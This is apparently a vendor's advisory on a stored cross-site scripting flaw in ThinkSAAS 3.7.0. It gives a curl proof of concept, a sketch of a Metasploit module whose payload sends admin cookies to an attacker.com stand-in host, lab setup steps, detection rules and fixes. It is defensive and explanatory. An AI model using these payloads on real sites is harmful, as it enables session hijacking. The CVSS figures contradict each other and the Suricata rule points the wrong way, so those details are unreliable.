CVE-2024-6942
Executive Summary
CVE-2024-6942 is a stored cross-site scripting (XSS) vulnerability identified in ThinkSAAS version 3.7.0. The flaw resides in the app/system/action/anti.php file within the Admin Panel Security Center. An attacker can inject malicious scripts via the ip, email, or phone parameters, which are then stored and executed in the context of an administrator's browser session. This can lead to session hijacking, credential theft, or further compromise of the ThinkSAAS installation. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as problematic due to the potential for admin-level impact. No official patch has been released, and a public proof-of-concept exists.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – the admin must visit the affected page
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L) – script injection
- Availability Impact: None (A:N)
Threat Level: Medium. While the direct impact is limited to integrity, the ability to execute arbitrary JavaScript in the admin panel can lead to privilege escalation and full site compromise.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the ThinkSAAS admin panel. The app/system/action/anti.php file handles the Security Center settings, specifically the IP blacklist, email blacklist, and phone blacklist. The application fails to sanitize user-supplied input for the ip, email, and phone parameters before storing them in the database. When an administrator views the Security Center page, the stored values are rendered without proper encoding, allowing the injected script to execute.
Attack Flow:
- An attacker with network access (or a low-privileged user) sends a POST request to the admin panel endpoint with a malicious payload in the
ip,email, orphoneparameter. - The payload is stored in the database.
- An administrator navigates to the Security Center page.
- The stored payload is rendered in the HTML, executing the attacker's JavaScript.
- The attacker can then steal session cookies, perform actions on behalf of the admin, or deface the site.
Vulnerable vs. Patched Code
Vulnerable Code (app/system/action/anti.php):
// No input sanitization
$ip = $_POST['ip'];
$email = $_POST['email'];
$phone = $_POST['phone'];
// Directly stored in database
$db->insert('blacklist', ['ip' => $ip, 'email' => $email, 'phone' => $phone]);
Patched Code (hypothetical):
// Input sanitization using htmlspecialchars
$ip = htmlspecialchars($_POST['ip'], ENT_QUOTES, 'UTF-8');
$email = htmlspecialchars($_POST['email'], ENT_QUOTES, 'UTF-8');
$phone = htmlspecialchars($_POST['phone'], ENT_QUOTES, 'UTF-8');
// Also validate format
if (!filter_var($ip, FILTER_VALIDATE_IP)) { /* reject */ }
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { /* reject */ }
// Store safely
$db->insert('blacklist', ['ip' => $ip, 'email' => $email, 'phone' => $phone]);
Exploitation & Lab Setup
Red Team
Proof-of-Concept (PoC):
# Exploit using curl
curl -X POST http://target.com/admin/index.php?app=system&ac=anti \
-d "ip=<script>alert('XSS')</script>" \
-d "email=test@test.com" \
-d "phone=1234567890"
Metasploit Module (conceptual):
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'ThinkSAAS 3.7.0 Stored XSS',
'Description' => 'Exploits stored XSS in ThinkSAAS admin panel',
'Author' => ['Valters IT'],
'References' => [['CVE', '2024-6942']]
))
end
def run
payload = "<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>"
res = send_request_cgi({
'method' => 'POST',
'uri' => '/admin/index.php?app=system&ac=anti',
'vars_post' => {
'ip' => payload,
'email' => 'test@test.com',
'phone' => '1234567890'
}
})
print_good("Payload sent. Wait for admin to visit Security Center.")
end
end
Lab Setup:
- Install ThinkSAAS 3.7.0 on a local server (e.g., XAMPP).
- Access the admin panel at
http://localhost/admin/. - Use the PoC above to inject the XSS payload.
- Log in as admin and navigate to the Security Center to trigger the payload.
Blue Team
Detection:
- Monitor HTTP POST requests to
/admin/index.php?app=system&ac=antifor suspicious parameters. - Look for
<script>tags or event handlers in theip,email, orphonefields. - Use WAF rules to block common XSS patterns.
Hunting:
- Search logs for requests containing
app=system&ac=antiwith non-standard IP/email/phone values. - Check the database for stored XSS payloads in the blacklist table.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/admin/index.php?app=system&ac=antiwithip,email, orphoneparameters containing<script>tags. - Outbound connections from the server to attacker-controlled domains (cookie exfiltration).
- POST requests to
- Host:
- Modified entries in the
blacklisttable of the ThinkSAAS database containing JavaScript. - Unexpected JavaScript in the admin panel's Security Center page source.
- Modified entries in the
- File:
- Suspicious entries in
app/system/action/anti.php(if attacker modified the file directly).
- Suspicious entries in
Detection Engineering
YARA Rule
rule ThinkSAAS_Stored_XSS_CVE_2024_6942 {
meta:
description = "Detects stored XSS payloads in ThinkSAAS blacklist table"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-6942"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$ip_field = /ip\s*=\s*["'][^"']*<script/i
$email_field = /email\s*=\s*["'][^"']*<script/i
$phone_field = /phone\s*=\s*["'][^"']*<script/i
condition:
any of ($xss_payload, $ip_field, $email_field, $phone_field)
}
Sigma Rule
title: ThinkSAAS Admin Panel Stored XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-6942 stored XSS in ThinkSAAS
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: 'app=system&ac=anti'
cs-uri-query|contains: 'ip='
condition: selection
falsepositives:
- Legitimate admin input (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"ThinkSAAS Stored XSS Attempt (CVE-2024-6942)";
flow:to_server,established;
content:"POST";
http_method;
content:"/admin/index.php";
http_uri;
content:"app=system&ac=anti";
http_uri;
pcre:"/(ip|email|phone)=[^&]*<script/i";
sid:1000001;
rev:1;
reference:cve,2024-6942;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Security Center if not essential, or restrict access to trusted IPs only.
- Apply input validation manually: sanitize
ip,email, andphoneparameters usinghtmlspecialchars()and validate formats. - Use a Web Application Firewall (WAF) to block XSS patterns in POST parameters.
Long-Term Fix:
- Upgrade to a patched version of ThinkSAAS once available.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct a full security audit of the admin panel.
Workaround:
- Edit
app/system/action/anti.phpto add sanitization:
$ip = htmlspecialchars($_POST['ip'], ENT_QUOTES, 'UTF-8');
$email = htmlspecialchars($_POST['email'], ENT_QUOTES, 'UTF-8');
$phone = htmlspecialchars($_POST['phone'], ENT_QUOTES, 'UTF-8');
Valters IT
Securing Digital Frontiers